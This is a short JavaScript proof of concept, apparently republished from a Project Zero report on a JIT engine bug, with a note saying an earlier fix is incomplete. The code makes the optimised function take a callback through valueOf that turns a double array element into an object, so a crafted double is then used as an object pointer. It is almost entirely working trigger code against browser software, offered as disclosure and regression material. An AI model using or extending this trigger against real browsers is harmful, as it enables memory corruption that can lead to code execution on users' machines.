1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290 I think the fix for #1045 is incorrect. Here's the original PoC. 'use strict'; function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; } function main() { var a = [1.1, 2.2]; var b = new Uint32Array(100); // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i); func(a, b, {valueOf: () => { a[0] = {}; return 0; }}); a[0].toString(); } main(); I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well. PoC: --> 'use strict'; function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; } function main() { var a = [1.1, 2.2]; var b = new Uint32Array(0);// <<--------- 100 -> 0 // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i); func(a, b, {valueOf: () => { a[0] = {}; return 0; }}); a[0].toString(); } main(); |